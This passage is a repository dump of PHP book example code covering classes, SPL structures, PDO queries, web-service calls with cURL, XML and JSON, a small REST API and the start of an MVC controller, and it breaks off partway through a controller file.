├── .gitignore
├── appendix_01
├── Url
│ ├── Shortener.php
│ └── Shortener
│ │ ├── Bitly.php
│ │ ├── Interface.php
│ │ ├── Isgd.php
│ │ └── Tinyurl.php
├── package.xml
└── packager.php
├── appendix_02
├── ArrayAccess.php
├── ArrayObject.php
├── Countable.php
├── File-Directory.php
├── PriorityQueue.php
├── SPLFileInfo.php
├── SplFixedArray.php
├── autoload.php
└── stack_queue.php
├── chapter_01
├── Courier.php
├── HeavyParcelException.php
├── MonotypeDelivery.php
├── Parcel.php
├── PigeonPost.php
├── Trackable.php
└── simple_class.php
├── chapter_02
├── PDOException.php
├── PDOStatement.php
├── bind_parameter.php
├── bind_value.php
├── delete.php
├── error_execute.php
├── error_handling.php
├── insert.php
├── prepared_statement.php
├── row_count.php
└── transaction.php
├── chapter_03
├── ServiceFunctions.php
├── array.php
├── calendar_js.php
├── calendar_table.php
├── curl.php
├── flickr.xml
├── flickr_call.php
├── index.php
├── json.php
├── pecl_http.php
├── proxy.php
├── rest
│ ├── .htaccess
│ ├── eventscontroller.php
│ ├── index.php
│ └── request.php
├── simple_xml.php
├── streams.php
├── wsdl.xml
└── xml_load_string.php
├── chapter_04
├── Controller.php
├── DependencyInjection.php
├── ErrorModel.php
├── Event.php
├── Factory.php
├── FilterIterator.php
├── Iterator.php
├── IteratorExplanation.php
├── IteratorInterface.php
├── LimitIterator.php
├── LogCallback.php
├── Model.php
├── MyDataRecord.php
├── Observer.php
├── RecursiveIterator.php
├── RegexIterator.php
├── Registry-DB-external.php
├── Registry-DB-internal.php
├── Registry.php
├── RouterAbstract.php
├── RouterRegex.php
├── Singleton.php
├── StackedOuterIterators.php
├── View.php
├── index.php
└── showErrorView.php
├── chapter_05
├── brute_force.php
├── csrf.php
├── ctype.php
├── filter.php
├── passwords.php
├── php_self.php
├── preg.php
├── session_hijacking.php
├── sql_injection.php
└── ssl.php
├── chapter_06
├── Memcache.php
├── MySQL_Session_Handler.php
├── cache.php
├── footer.php
└── header.php
├── chapter_07
├── lib
│ ├── Calculator.php
│ ├── Foo.php
│ └── Totaller.php
└── tests
│ ├── BaseSeleniumTestCase.php
│ ├── CalculatorTest.php
│ ├── DaoTest.php
│ ├── DatabaseTester.php
│ ├── FooSeleniumTestCase.php
│ ├── FooTest.php
│ ├── TestCase.php
│ ├── TotallerBehavioralTest.php
│ ├── TotallerTest.php
│ └── phpunit.xml
└── chapter_08
└── Robot.php
/.gitignore:
--------------------------------------------------------------------------------
1 | $ cat .gitignore
2 | .DS_Store
3 | .svn/
4 |
5 |
--------------------------------------------------------------------------------
/appendix_01/Url/Shortener.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/spbooks/PHPPRO1/ae9bb563082a7b49cc015ce661f08b9ed445c170/appendix_01/Url/Shortener.php
--------------------------------------------------------------------------------
/appendix_01/Url/Shortener/Bitly.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/spbooks/PHPPRO1/ae9bb563082a7b49cc015ce661f08b9ed445c170/appendix_01/Url/Shortener/Bitly.php
--------------------------------------------------------------------------------
/appendix_01/Url/Shortener/Interface.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/spbooks/PHPPRO1/ae9bb563082a7b49cc015ce661f08b9ed445c170/appendix_01/Url/Shortener/Interface.php
--------------------------------------------------------------------------------
/appendix_01/Url/Shortener/Isgd.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/spbooks/PHPPRO1/ae9bb563082a7b49cc015ce661f08b9ed445c170/appendix_01/Url/Shortener/Isgd.php
--------------------------------------------------------------------------------
/appendix_01/Url/Shortener/Tinyurl.php:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/spbooks/PHPPRO1/ae9bb563082a7b49cc015ce661f08b9ed445c170/appendix_01/Url/Shortener/Tinyurl.php
--------------------------------------------------------------------------------
/appendix_01/package.xml:
--------------------------------------------------------------------------------
1 |
2 |
6 | Url_Shortener
7 | pear.local
8 | Shorten URLs with a variety of services.
9 | Url_Shortener will let you shorten URLs with Bit.ly, is.gd or Tinyurl
10 |
11 | Davey Shafik
12 | dshafik
13 | me@daveyshafik.com
14 | yes
15 |
16 | 2011-07-31
17 |
18 |
19 | 0.2.0
20 | 0.1.0
21 |
22 |
23 | alpha
24 | alpha
25 |
26 | Creative Commons Attribution-ShareAlike 3.0 Unported License
27 |
28 | Repackaged for release on the pear.local channel.
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 | 5.3.6
43 |
44 |
45 | 1.4.0
46 |
47 |
48 | pecl_http
49 | pecl.php.net
50 | 1.7.0
51 | 1.7.1
52 | pecl_http
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 | 0.1.0
61 | 0.1.0
62 |
63 |
64 | alpha
65 | alpha
66 |
67 | 2011-07-31
68 | Creative Commons Attribution-ShareAlike 3.0 Unported License
69 |
70 | This is the first release of the Url_Shortener package
71 |
72 |
73 |
74 |
75 | 0.2.0
76 | 0.1.0
77 |
78 |
79 | alpha
80 | alpha
81 |
82 | 2011-07-31
83 | Creative Commons Attribution-ShareAlike 3.0 Unported License
84 |
85 | Repackaged for release on the pear.local channel.
86 |
87 |
88 |
89 |
90 |
--------------------------------------------------------------------------------
/appendix_01/packager.php:
--------------------------------------------------------------------------------
1 | setOptions(array(
11 | 'baseinstalldir' => 'Url',
12 | 'packagedirectory' => dirname(__FILE__) . '/Url',
13 | ));
14 |
15 | // Set the Package Name
16 | $package->setPackage('Url_Shortener');
17 |
18 | // Set a package summary
19 | $package->setSummary('Shorten URLs with a variety of services.');
20 |
21 | // Set a lengthier description
22 | $package->setDescription('Url_Shortener will let you shorten URLs with Bit.ly, is.gd or Tinyurl');
23 |
24 | // We don't have a channel yet, but a valid one is required so just use pear.
25 | $package->setChannel('pear.local');
26 |
27 | // Set the Package version and stability
28 | $package->setReleaseVersion('0.2.0');
29 | $package->setReleaseStability('alpha');
30 |
31 | // Set the API version and stability
32 | $package->setApiVersion('0.1.0');
33 | $package->setApiStability('alpha');
34 |
35 | // Add Release Notes
36 | //$package->setNotes('This is the first release of the Url_Shortener package');
37 | $package->setNotes('Repackaged for release on the pear.local channel.');
38 |
39 | // Set the package type (This is a PEAR-style PHP package)
40 | $package->setPackageType('php');
41 |
42 | // Add a release section
43 | $package->addRelease();
44 |
45 | // Add the pecl_http extension as a dependency
46 | $package->addPackageDepWithChannel('required', 'pecl_http', 'pecl.php.net', '1.7.0', false, '1.7.1', false, 'pecl_http');
47 |
48 | // Add a maintainer
49 | $package->addMaintainer('lead', 'dshafik', 'Davey Shafik', 'me@daveyshafik.com');
50 |
51 | // Set the minimum PHP version on which the code will run
52 | $package->setPhpDep('5.3.6');
53 |
54 | // Set the minimum PEAR install requirement
55 | $package->setPearinstallerDep('1.4.0');
56 |
57 | // Add a license
58 | $package->setLicense('Creative Commons Attribution-ShareAlike 3.0 Unported License', 'http://creativecommons.org/licenses/by-sa/3.0/');
59 |
60 | // Generate the File list
61 | $package->generateContents();
62 |
63 | // Write the XML to file
64 | $package->writePackageFile();
65 | ?>
66 |
--------------------------------------------------------------------------------
/appendix_02/ArrayAccess.php:
--------------------------------------------------------------------------------
1 | {$offset});
5 | }
6 |
7 | public function offsetGet($offset) {
8 | return $this->{$offset};
9 | }
10 |
11 | public function offsetSet($offset, $value) {
12 | $this->{$offset} = $value;
13 | }
14 |
15 | public function offsetUnset($offset) {
16 | unset($this->{$offset});
17 | }
18 | }
19 |
20 | $arrayObj = new MyArray();
21 | $arrayObj['greeting'] = "Hello World";
22 | echo $arrayObj['greeting'];
23 | ?>
--------------------------------------------------------------------------------
/appendix_02/ArrayObject.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/appendix_02/Countable.php:
--------------------------------------------------------------------------------
1 | data = array('foo', 'bar', 'baz');
8 | }
9 | }
10 |
11 | $i = new InaccurateCount();
12 |
13 | echo sizeof($i);
14 |
15 | class AccurateCount implements Countable {
16 | public $data = array();
17 |
18 | public function __construct()
19 | {
20 | $this->data = array('foo', 'bar', 'baz');
21 | }
22 |
23 | public function count() {
24 | return sizeof($this->data);
25 | }
26 | }
27 |
28 | $i = new AccurateCount();
29 |
30 | echo sizeof($i);
31 |
--------------------------------------------------------------------------------
/appendix_02/File-Directory.php:
--------------------------------------------------------------------------------
1 | getDepth());
11 | if ($file->isDir()) {
12 | echo DIRECTORY_SEPARATOR;
13 | }
14 | echo $file->getBasename();
15 | if ($file->isFile()) {
16 | echo " (" .$file->getSize(). " bytes)";
17 | } elseif ($file->isLink()) {
18 | echo " (symlink)";
19 | }
20 | echo PHP_EOL;
21 | }
22 | ?>
--------------------------------------------------------------------------------
/appendix_02/PriorityQueue.php:
--------------------------------------------------------------------------------
1 | insert('foo', 1);
4 | $queue->insert('bar', 3);
5 | $queue->insert('baz', 0);
6 |
7 | foreach ($queue as $value) {
8 | echo $value . PHP_EOL;
9 | }
10 | ?>
--------------------------------------------------------------------------------
/appendix_02/SPLFileInfo.php:
--------------------------------------------------------------------------------
1 | fgetcsv()) {
9 | // Handle the CSV data array
10 | }
11 | ?>
--------------------------------------------------------------------------------
/appendix_02/SplFixedArray.php:
--------------------------------------------------------------------------------
1 | push(1);
4 | $stack->push(2);
5 | $stack->push(3);
6 |
7 | foreach ($stack as $value) {
8 | echo $value . PHP_EOL;
9 | }
10 |
11 | $queue = new SplQueue();
12 | $queue->push(1);
13 | $queue->push(2);
14 | $queue->push(3);
15 |
16 | foreach ($queue as $value) {
17 | echo $value . PHP_EOL;
18 | }
19 | ?>
--------------------------------------------------------------------------------
/chapter_01/Courier.php:
--------------------------------------------------------------------------------
1 | name = $name;
16 | return true;
17 | }*/
18 |
19 | //Second constructor
20 | public function __construct($name, $home_country) {
21 | $this->name = $name;
22 | $this->home_country = $home_country;
23 | return true;
24 | }
25 |
26 | //Third constructor
27 | /*public function __construct($name, $home_country) {
28 | $this->name = $name;
29 | $this->home_country = $home_country;
30 | $this->logfile = $this->getLogFile();
31 | return true;
32 | }*/
33 |
34 | protected function getLogFile() {
35 | // error log location would be in a config file
36 | return fopen('/tmp/error_log.txt', 'a');
37 | }
38 |
39 | public function log($message) {
40 | if($this->logfile) {
41 | fputs($this->logfile, 'Log message: ' . $message . "\n");
42 | }
43 | }
44 |
45 | public function __sleep() {
46 | // only store the "safe" properties
47 | return array("name", "home_country");
48 | }
49 |
50 | public function __wakeup() {
51 | // properties are restored, now add the logfile
52 | $this->logfile = $this->getLogFile();
53 | return true;
54 | }
55 |
56 | public function __toString() {
57 | return $this->name . ' (' . $this->home_country . ')';
58 | }
59 |
60 | //Namespacing and static method
61 | //namespace shipping;
62 | public static function getCouriersByCountry($country) {
63 | // get a list of couriers with their home_country = $country
64 |
65 | // create a Courier object for each result
66 |
67 | // return an array of the results
68 | return $courier_list;
69 | }
70 |
71 | public function ship($parcel) {
72 | // sends the parcel to its destination
73 | return true;
74 | }
75 |
76 | /*public function calculateShipping($parcel) {
77 | // look up the rate for the destination, we'll invent one
78 | $rate = 1.78;
79 |
80 | // calculate the cost
81 | $cost = $rate * $parcel->weight;
82 | return $cost;
83 | }*/
84 |
85 | public function calculateShipping(Parcel $parcel) {
86 | // look up the rate for the destination
87 | $rate = $this->getShippingRateForCountry($parcel->destinationCountry);
88 | // calculate the cost
89 | $cost = $rate * $parcel->weight;
90 | return $cost;
91 | }
92 |
93 | private function getShippingRateForCountry($country) {
94 | // some excellent rate calculating code goes here
95 | // for the example, we'll just think of a number
96 | return 1.2;
97 | }
98 |
99 | //First style of getter and setter methods and protected $name property
100 | /*protected $name;
101 |
102 | function getName() {
103 | return $this->name;
104 | }
105 |
106 | function setName($value) {
107 | $this->name = $value;
108 | return true;
109 | }*/
110 |
111 | //Magic __get() and __set() methods
112 | protected $data = array();
113 |
114 | public function __get($property) {
115 | return $this->data[$property];
116 | }
117 |
118 | public function __set($property, $value) {
119 | $this->data[$property] = $value;
120 | return true;
121 | }
122 |
123 |
124 | public function __call($name, $params) {
125 | if($name == 'sendParcel') {
126 | // legacy system requirement, pass to newer send() method
127 | return $this->send($params[0]);
128 | } else {
129 | error_log('Failed call to ' . $name . ' in Courier class');
130 | return false;
131 | }
132 | }
133 | } //end of Courier class
134 |
135 |
136 | // Courier class with a Countable interface
137 | /*class Courier implements Countable
138 | {
139 | protected $count = 0;
140 |
141 | public function ship(Parcel $parcel) {
142 | $this->count++;
143 | // ship parcel
144 | return true;
145 | }
146 |
147 | public function count() {
148 | return $this->count;
149 | }
150 | }*/
151 | ?>
--------------------------------------------------------------------------------
/chapter_01/HeavyParcelException.php:
--------------------------------------------------------------------------------
1 | address)) {
8 | throw new Exception('Address not Specified');
9 | }
10 |
11 | // check the weight
12 | if($parcel->weight > 5) {
13 | throw new HeavyParcelException('Parcel exceeds courier limit');
14 | }
15 | // otherwise we're cool
16 | return true;
17 | }
18 | }
19 |
20 | ?>
--------------------------------------------------------------------------------
/chapter_01/MonotypeDelivery.php:
--------------------------------------------------------------------------------
1 | "in transit"));
24 | }
25 | }*/
26 |
27 | ?>
--------------------------------------------------------------------------------
/chapter_01/Parcel.php:
--------------------------------------------------------------------------------
1 | weight = $weight;
11 | return $this;
12 | }
13 |
14 | public function setCountry($country) {
15 | echo "destination country is: " . $country . "\n";
16 | $this->destinationCountry = $country;
17 | return $this;
18 | }
19 | } //end of Parcel class
20 |
21 | $myparcel = new Parcel();
22 | $myparcel->setWeight(5)->setCountry('Peru');
23 | ?>
--------------------------------------------------------------------------------
/chapter_01/PigeonPost.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/chapter_01/Trackable.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/chapter_01/simple_class.php:
--------------------------------------------------------------------------------
1 | name = $name;
9 | return true;
10 | }
11 |
12 | public function ship($parcel) {
13 | // sends the parcel to its destination
14 | return true;
15 | }
16 | }
17 | ?>
--------------------------------------------------------------------------------
/chapter_02/PDOException.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/chapter_02/PDOStatement.php:
--------------------------------------------------------------------------------
1 | query('SELECT name, chef FROM recipes');
6 |
7 | // display results
8 | while($row = $stmt->fetch()) {
9 | echo $row['name'] . ' by ' . $row['chef'] . "\n";
10 | }
11 | ?>
--------------------------------------------------------------------------------
/chapter_02/bind_parameter.php:
--------------------------------------------------------------------------------
1 | prepare($sql);
12 |
13 | // bind the chef value, we only want Lorna's recipes
14 | $stmt->bindValue(':chef', 'Lorna');
15 | $stmt->bindParam(':category_name', $category);
16 |
17 | // starters
18 | $category = 'Starter';
19 | $stmt->execute();
20 | $starters = $stmt->fetchAll();
21 |
22 | // pudding
23 | $category = 'Pudding';
24 | $stmt->execute();
25 | $pudding = $stmt->fetchAll();
26 | ?>
--------------------------------------------------------------------------------
/chapter_02/bind_value.php:
--------------------------------------------------------------------------------
1 | prepare($sql);
10 |
11 | // bind the chef value, we only want Lorna's recipes
12 | $stmt->bindValue(':chef', 'Lorna');
13 |
14 | // starters
15 | $stmt->bindValue(':category_id', 1);
16 | $stmt->execute();
17 | $starters = $stmt->fetch();
18 |
19 | // pudding
20 | $stmt->bindValue(':category_id', 3);
21 | $stmt->execute();
22 | $pudding = $stmt->fetch();
23 | ?>
--------------------------------------------------------------------------------
/chapter_02/delete.php:
--------------------------------------------------------------------------------
1 | prepare('DELETE FROM categories WHERE name = :name');
5 |
6 | // delete the record
7 | $stmt->execute(array(':name' => 'Starter'));
8 | echo $stmt->rowCount() . ' row(s) deleted';
9 | ?>
--------------------------------------------------------------------------------
/chapter_02/error_execute.php:
--------------------------------------------------------------------------------
1 | prepare($sql);
10 |
11 | if($stmt) {
12 | // perform query
13 | $result = $stmt->execute(array(
14 | "recipe_id" => 1)
15 | );
16 |
17 | if($result) {
18 | $recipe = $stmt->fetch();
19 | print_r($recipe);
20 | } else {
21 | $error = $stmt->errorInfo();
22 | echo "Query failed with message: " . $error[2];
23 | }
24 | }
25 | ?>
--------------------------------------------------------------------------------
/chapter_02/error_handling.php:
--------------------------------------------------------------------------------
1 | prepare($sql);
14 |
15 | if($stmt) {
16 | // perform query
17 | $stmt->execute(array(
18 | "recipe_id" => 1)
19 | );
20 |
21 | $recipe = $stmt->fetch();
22 | }
23 | } catch (PDOException $e) {
24 | echo "A database problem has occurred: " . $e->getMessage();
25 | }
26 | ?>
--------------------------------------------------------------------------------
/chapter_02/insert.php:
--------------------------------------------------------------------------------
1 | prepare($sql);
9 |
10 | // perform query
11 | $stmt->execute(array(
12 | ':name' => 'Weekday Risotto',
13 | ':description' => 'Creamy rice-based dish, boosted by in-season ingredients. Otherwise known as \'raid-the-fridge risotto\'',
14 | ':chef' => 'Lorna')
15 | );
16 |
17 | echo "New recipe id: " . $db_conn->lastInsertId();
18 | ?>
--------------------------------------------------------------------------------
/chapter_02/prepared_statement.php:
--------------------------------------------------------------------------------
1 | prepare($sql);
10 |
11 | // perform query
12 | $stmt->execute(array(
13 | "recipe_id" => 1)
14 | );
15 | $recipe = $stmt->fetch();
16 | ?>
--------------------------------------------------------------------------------
/chapter_02/row_count.php:
--------------------------------------------------------------------------------
1 | prepare($sql);
9 |
10 | // perform query
11 | $stmt->execute(array(':id' => 2));
12 | echo $stmt->rowCount() . ' rows updated';
13 | ?>
--------------------------------------------------------------------------------
/chapter_02/transaction.php:
--------------------------------------------------------------------------------
1 | beginTransaction();
12 |
13 | $db_conn->exec('UPDATE categories SET id=17 WHERE name = "Pudding"');
14 | $db_conn->exec('UPDATE recipes SET category_id=17 WHERE category_id=3');
15 |
16 | // we made it!
17 | $db_conn->commit();
18 |
19 | } catch (PDOException $e) {
20 | $db_conn->rollBack();
21 | echo "Something went wrong: " . $e->getMessage();
22 | }
23 | ?>
--------------------------------------------------------------------------------
/chapter_03/ServiceFunctions.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/chapter_03/array.php:
--------------------------------------------------------------------------------
1 | "The Magic Flute",
4 | "time" => 1329636600),
5 | array("title" => "Vivaldi Four Seasons",
6 | "time" => 1329291000),
7 | array("title" => "Mozart's Requiem",
8 | "time" => 1330196400)
9 | );
10 |
11 | echo json_encode($concerts);
12 |
13 | /* output
14 | [{"title":"The Magic Flute","time":1329636600},{"title": "Vivaldi Four Seasons","time":1329291000},{"title": "Mozart's Requiem","time":1330196400}]
15 | */
16 | ?>
--------------------------------------------------------------------------------
/chapter_03/calendar_js.php:
--------------------------------------------------------------------------------
1 |
4 |
--------------------------------------------------------------------------------
/chapter_03/calendar_table.php:
--------------------------------------------------------------------------------
1 |
4 |
5 |
6 |
7 |
8 | May 2011 |
9 |
10 |
11 |
12 | S |
13 | M |
14 | T |
15 | W |
16 | T |
17 | F |
18 | S |
19 |
20 |
21 |
22 | 1 |
23 | 2 |
24 | 3 |
25 |
26 |
27 | 4
28 | |
29 | 5 |
30 | 6 |
31 | 7 |
32 |
33 |
34 | 8 |
35 | 9 |
36 | 10 |
37 | 11 |
38 | 12 |
39 | 13 |
40 | 14 |
41 |
42 |
43 | 15 |
44 | 16 |
45 | 17 |
46 | 18 |
47 | 19 |
48 | 20 |
49 | 21 |
50 |
51 |
52 | 22 |
53 | 23 |
54 | 24 |
55 | 25 |
56 | 26 |
57 | 27 |
58 | 28 |
59 |
60 |
61 | 29 |
62 | 30 |
63 | 31 |
64 |
65 |
66 | |
67 |
68 |
--------------------------------------------------------------------------------
/chapter_03/curl.php:
--------------------------------------------------------------------------------
1 | 200
14 | [status_txt] => OK
15 | [data] => stdClass Object
16 | (
17 | [long_url] => http://sitepoint.com/
18 | [url] => http://bit.ly/qmcGU2
19 | [hash] => qmcGU2
20 | [global_hash] => 3mWynL
21 | [new_hash] => 0
22 | )
23 |
24 | )
25 | */
26 | ?>
--------------------------------------------------------------------------------
/chapter_03/flickr.xml:
--------------------------------------------------------------------------------
1 |
2 |
3 | flickr.groups.pools.getphotos
4 |
5 |
6 |
7 |
8 |
9 | api_key
10 | secret-key
11 |
12 |
13 | group_id
14 | 610963@N20
15 |
16 |
17 | per_page
18 | 5
19 |
20 |
21 |
22 |
23 |
24 |
25 |
26 |
--------------------------------------------------------------------------------
/chapter_03/flickr_call.php:
--------------------------------------------------------------------------------
1 | params->param->value->string);
13 | print_r($photosxml);
14 | ?>
--------------------------------------------------------------------------------
/chapter_03/index.php:
--------------------------------------------------------------------------------
1 |
--------------------------------------------------------------------------------
/chapter_03/json.php:
--------------------------------------------------------------------------------
1 | Array
12 | (
13 | [title] => The Magic Flute
14 | [time] => 1329636600
15 | )
16 |
17 | [1] => Array
18 | (
19 | [title] => Vivaldi Four Seasons
20 | [time] => 1329291000
21 | )
22 |
23 | [2] => Array
24 | (
25 | [title] => Mozart's Requiem
26 | [time] => 1330196400
27 | )
28 |
29 | )
30 | */
31 | ?>
--------------------------------------------------------------------------------
/chapter_03/pecl_http.php:
--------------------------------------------------------------------------------
1 | send();
6 |
7 | $result = $request->getResponseBody();
8 | print_r(json_decode($result));
9 |
10 | /* output:
11 | stdClass Object
12 | (
13 | [status_code] => 200
14 | [status_txt] => OK
15 | [data] => stdClass Object
16 | (
17 | [long_url] => http://sitepoint.com/
18 | [url] => http://bit.ly/qmcGU2
19 | [hash] => qmcGU2
20 | [global_hash] => 3mWynL
21 | [new_hash] => 0
22 | )
23 |
24 | )
25 | */
26 | ?>
--------------------------------------------------------------------------------
/chapter_03/proxy.php:
--------------------------------------------------------------------------------
1 | array(
5 | "protocol" => "http",
6 | "mimetype" => "application/json",
7 | "args" => array(
8 | "login" => "user",
9 | "apiKey" => "secret",
10 | )
11 | )
12 | );
13 |
14 | // Check if the requested host is allowed, PATH_INFO starts with a /
15 | $requested_host = parse_url("http:/" .$_SERVER['PATH_INFO'],PHP_URL_HOST);
16 | if (!isset($allowed_hosts[$requested_host])) {
17 | // Send a 403 Forbidden HTTP status code and exit
18 | header("Status: 403 Forbidden");
19 | exit;
20 | }
21 |
22 | // Create the final URL
23 | $url = $allowed_hosts[$requested_host]['protocol'] . ':/' . $_SERVER['PATH_INFO'];
24 | if (!empty($_SERVER['QUERY_STRING'])) {
25 | // Construct the GET args from those passed in and the default
26 | $url .= '?' .http_build_query($_GET + ($allowed_hosts[$requested_host]['args']) ?: array());
27 | }
28 |
29 | // Instantiate curl
30 | $curl = curl_init($url);
31 |
32 | // Check if request is a POST, and attach the POST data
33 | if ($_SERVER['REQUEST_METHOD'] == "POST") {
34 | $data = http_build_query($_POST);
35 | curl_setopt ($curl, CURLOPT_POST, true);
36 | curl_setopt ($curl, CURLOPT_POSTFIELDS, $data);
37 | }
38 |
39 | // Don't return HTTP headers. Do return the contents of the call
40 | curl_setopt($curl, CURLOPT_HEADER, false);
41 | curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
42 |
43 | // Make the call
44 | $response = curl_exec($curl);
45 |
46 | // Relay unsuccessful responses
47 | $status = curl_getinfo($curl, CURLINFO_HTTP_CODE);
48 | if ($status >= "400") {
49 | header("Status: 500 Internal Server Error");
50 | }
51 |
52 | // Set the Content-Type appropriately
53 | header("Content-Type: " .$allowed_hosts[$requested_host]['mimetype']);
54 |
55 | // Output the response
56 | echo $response;
57 |
58 | // Shutdown curl
59 | curl_close($curl);
60 | ?>
61 |
--------------------------------------------------------------------------------
/chapter_03/rest/.htaccess:
--------------------------------------------------------------------------------
1 |
2 | RewriteEngine On
3 |
4 | RewriteCond %{REQUEST_FILENAME} !-f
5 | RewriteCond %{REQUEST_FILENAME} !-d
6 | RewriteRule ^(.*)$ index.php/$1 [L]
7 |
8 |
9 |
--------------------------------------------------------------------------------
/chapter_03/rest/eventscontroller.php:
--------------------------------------------------------------------------------
1 | readEvents();
10 | if(isset($request->url_elements[2]) && is_numeric($request->url_elements[2])) {
11 | return $events[$request->url_elements[2]];
12 | } else {
13 | return $events;
14 | }
15 | }
16 |
17 | public function POSTAction($request) {
18 | // error checking and filtering input MUST go here
19 | $events = $this->readEvents();
20 | $event = array();
21 | $event['title'] = $request->parameters['title'];
22 | $event['date'] = $request->parameters['date'];
23 | $event['capacity'] = $request->parameters['capacity'];
24 |
25 | $events[] = $event;
26 | $this->writeEvents($events);
27 | $id = max(array_keys($events));
28 | header('HTTP/1.1 201 Created');
29 | header('Location: /events/'. $id);
30 | return '';
31 | }
32 |
33 | public function PUTAction($request) {
34 | // error checking and filtering input MUST go here
35 | $events = $this->readEvents();
36 | $event = array();
37 | $event['title'] = $request->parameters['title'];
38 | $event['date'] = $request->parameters['date'];
39 | $event['capacity'] = $request->parameters['capacity'];
40 | $id = $request->url_elements[2];
41 | $events[$id] = $event;
42 | $this->writeEvents($events);
43 | header('HTTP/1.1 204 No Content');
44 | header('Location: /events/'. $id);
45 | return '';
46 | }
47 |
48 | public function DELETEAction($request) {
49 | $events = $this->readEvents();
50 | if(isset($request->url_elements[2]) && is_numeric($request->url_elements[2])) {
51 | unset($events[$request->url_elements[2]]);
52 | $this->writeEvents($events);
53 | header('HTTP/1.1 204 No Content');
54 | header('Location: /events');
55 | }
56 | return '';
57 | }
58 |
59 | protected function readEvents() {
60 | $events = unserialize(file_get_contents($this->events_file));
61 | if(empty($events)) {
62 | // invent some event data
63 | $events[] = array('title' => 'Summer Concert',
64 | 'date' => date('U', mktime(0,0,0,7,1,2012)),
65 | 'capacity' => '150');
66 | $events[] = array('title' => 'Valentine Dinner',
67 | 'date' => date('U', mktime(0,0,0,2,14,2012)),
68 | 'capacity' => '48');
69 | $this->writeEvents($events);
70 | }
71 | return $events;
72 | }
73 |
74 | protected function writeEvents($events) {
75 | file_put_contents($this->events_file, serialize($events));
76 | return true;
77 | }
78 | }
79 |
--------------------------------------------------------------------------------
/chapter_03/rest/index.php:
--------------------------------------------------------------------------------
1 | url_elements = array();
10 | if(isset($_SERVER['PATH_INFO'])) {
11 | $request->url_elements = explode('/', $_SERVER['PATH_INFO']);
12 | }
13 |
14 | // figure out the verb and grab the incoming data
15 | $request->verb = $_SERVER['REQUEST_METHOD'];
16 | switch($request->verb) {
17 | case 'GET':
18 | $request->parameters = $_GET;
19 | break;
20 | case 'POST':
21 | case 'PUT':
22 | $request->parameters = json_decode(file_get_contents('php://input'), 1);
23 | break;
24 | case 'DELETE':
25 | default:
26 | // we won't set any parameters in these cases
27 | $request->parameters = array();
28 | }
29 |
30 | // route the request
31 | if($request->url_elements) {
32 | $controller_name = ucfirst($request->url_elements[1]) . 'Controller';
33 | if(class_exists($controller_name)) {
34 | $controller = new $controller_name();
35 | $action_name = ucfirst($request->verb) . "Action";
36 | $response = $controller->$action_name($request);
37 | } else {
38 | header('HTTP/1.0 400 Bad Request');
39 | $response = "Unknown Request for " . $request->url_elements[1];
40 | }
41 | } else {
42 | header('HTTP/1.0 400 Bad Request');
43 | $response = "Unknown Request";
44 | }
45 |
46 | echo json_encode($response);
47 |
--------------------------------------------------------------------------------
/chapter_03/rest/request.php:
--------------------------------------------------------------------------------
1 | ');
4 |
5 | $concert1 = $simplexml->addChild('concert');
6 | $concert1->addChild("title", "The Magic Flute");
7 | $concert1->addChild("time", 1329636600);
8 |
9 | $concert2 = $simplexml->addChild('concert');
10 | $concert2->addChild("title", "Vivaldi Four Seasons");
11 | $concert2->addChild("time", 1329291000);
12 |
13 | $concert3 = $simplexml->addChild('concert');
14 | $concert3->addChild("title", "Mozart's Requiem");
15 | $concert3->addChild("time", 1330196400);
16 |
17 | echo $simplexml->asXML();
18 |
19 | /* output:
20 | The Magic Flute
21 | Vivaldi Four SeasonsMozart's Requiem
22 |
23 | */
24 | ?>
--------------------------------------------------------------------------------
/chapter_03/streams.php:
--------------------------------------------------------------------------------
1 | 200
11 | [status_txt] => OK
12 | [data] => stdClass Object
13 | (
14 | [long_url] => http://sitepoint.com/
15 | [url] => http://bit.ly/qmcGU2
16 | [hash] => qmcGU2
17 | [global_hash] => 3mWynL
18 | [new_hash] => 0
19 | )
20 |
21 | )
22 | */
23 | ?>
--------------------------------------------------------------------------------
/chapter_03/wsdl.xml:
--------------------------------------------------------------------------------
1 |
2 |
8 |
10 |
11 |
14 |
15 |
16 |
19 |
22 |
23 |
26 |
27 |
28 |
30 |
32 |
33 |
34 |
35 |
37 |
39 |
40 |
41 |
42 |
45 |
46 |
47 |
48 |
--------------------------------------------------------------------------------
/chapter_03/xml_load_string.php:
--------------------------------------------------------------------------------
1 | The Magic FluteVivaldi Four SeasonsMozart\'s Requiem';
3 |
4 | $concert_list = simplexml_load_string($xml);
5 | print_r($concert_list);
6 |
7 | /* output:
8 | SimpleXMLElement Object
9 | (
10 | [concert] => Array
11 | (
12 | [0] => SimpleXMLElement Object
13 | (
14 | [title] => The Magic Flute
15 | [time] => 1329636600
16 | )
17 |
18 | [1] => SimpleXMLElement Object
19 | (
20 | [title] => Vivaldi Four Seasons
21 | [time] => 1329291000
22 | )
23 |
24 | [2] => SimpleXMLElement Object
25 | (
26 | [title] => Mozart's Requiem
27 | [time] => 1330196400
28 | )
29 |
30 | )
31 |
32 | )
33 | */
34 |
35 | // show a table of the concerts
36 | echo "\n";
37 | foreach($concert_list as $concert) {
38 | echo "\n";
39 | echo "" . $concert->title . " | \n";
40 | echo "" . date('g:i, jS M',(string)$concert->time) . " | \n";
41 |
42 | echo "
\n";
43 | }
44 | echo "
\n";
45 |
46 | // output the second concert title
47 | echo "Featured Concert: " . $concert_list->concert[1]->title;
48 | ?>
--------------------------------------------------------------------------------
/chapter_04/Controller.php:
--------------------------------------------------------------------------------
1 | router) {
17 | throw new Exception("Router not set");
18 | }
19 |
20 | $route = $this->router->getRoute($url);
21 |
22 | $controller = ucfirst($route['controller']);
23 | $action = ucfirst($route['action']);
24 |
25 | unset($route['controller']);
26 | unset($route['action']);
27 |
